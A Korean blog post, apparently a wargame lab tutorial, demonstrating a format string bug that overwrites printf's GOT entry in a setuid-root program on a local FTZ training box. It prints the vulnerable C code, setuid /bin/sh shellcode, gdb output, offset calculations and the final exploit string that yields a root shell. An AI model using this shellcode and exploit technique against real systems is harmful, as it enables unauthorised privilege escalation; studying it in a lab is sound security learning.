티스토리 뷰
FSB로 GOT OVERWRITE하기
실습환경 ->LOCAL FTZ( RED HAT9 )
----------------------------------------------------------------
[guest@ftz sys]$ whoami
guest
-> 나의 게정은 guest이다.
[guest@ftz sys]$ ll
total 32
-rwsr-xr-x 1 root root 11675 Aug 6 08:10 fsb_got //root의 setuid가 걸려있음
-rw-r--r-- 1 root root 179 Aug 6 08:19 fsb_got.c
[guest@ftz sys]$ cat fsb_got.c
#include <stdio.h>
#include <string.h>
int main( int argc, char **argv ) {
char buf[101];
strncpy( buf, argv[1], 100 );
printf( buf ); //취약점!!
printf( "huh..?" ); //got를 덮을것이기 때문에 이부분에서 실행된다.
return 0;
}
사용할 쉘코드는 아래이며 환경변수로 등록하도록 하자.
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80
[root@ftz sys]# export fsb=`python -c 'print "\x90" * 100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'`
[guest@ftz sys]# cat get_env.c
#include <stdio.h>
#include <string.h>
int main( int argc, char **argv ) {
long ptr = getenv( argv[1] );
ptr += ( strlen( argv[0] ) - strlen( argv[2] ) ) * 2;
printf( "\nUse ADDRESS [ %p ]\n\n", ptr );
return 0;
} -> 쉘코드의 주소를 구하는 프로그램
[guest@ftz sys]# ./get_env fsb /root/sys/fsb_got
Use ADDRESS [ 0xbffffc20 ]
사용할 주소 쉘코드의 주소
0xbffffc20
(gdb) x/4i 0x804828c -> printf의 PLT
0x804828c <printf>: jmp ds:0x8049560 -> printf의 GOT
0x8048292 <printf+6>: push 0x8
0x8048297 <printf+11>: jmp 0x804826c <_init+24>
0x804829c <strncpy>: jmp ds:0x8049564
0x8049560
0x8049562 -> FSB를 위해 사용할 2바이트 뒤 주소
기본적인 FSB를 위해 10진수로 변환
->
\x60\x95\x04\x08
\x62\x95\x04\x08
0x1BFFF - 0xFC20
-> 50143
0xFC20 - 40 (앞에서 40바이트를 사용할 것이기 때문)
-> 64504
최종 익스플로잇
$(printf "aaaa\x60\x95\x04\x08aaaa\x62\x95\x04\x08")%8x%8x%8x%64504c%n%50143c%n
sh-2.05b# id
uid=0(root) gid=1000(guest) groups=1000(guest)
sh-2.05b# whoami
root //root의 계정!
쉘이 따졌다.. 성공!
------------------------------------------------------------------------
FSB와 GOT의 기본만 알면 된다.
충분히 익히도록 하자.
'Pwnable > Technique' 카테고리의 다른 글
문제풀이로 보는 Integer Overflow 기법 (0) | 2015.02.01 |
---|---|
mprotect() 함수 이용하여 Exploit하기 (0) | 2015.01.16 |
Bypass NX-Bit And ASCII-Armor Python 익스플로잇 (3) | 2014.11.10 |
Bypass NX-Bit and ASCII-Armor (15) | 2014.10.26 |
간단한 GOT Overwrite (3) | 2014.10.02 |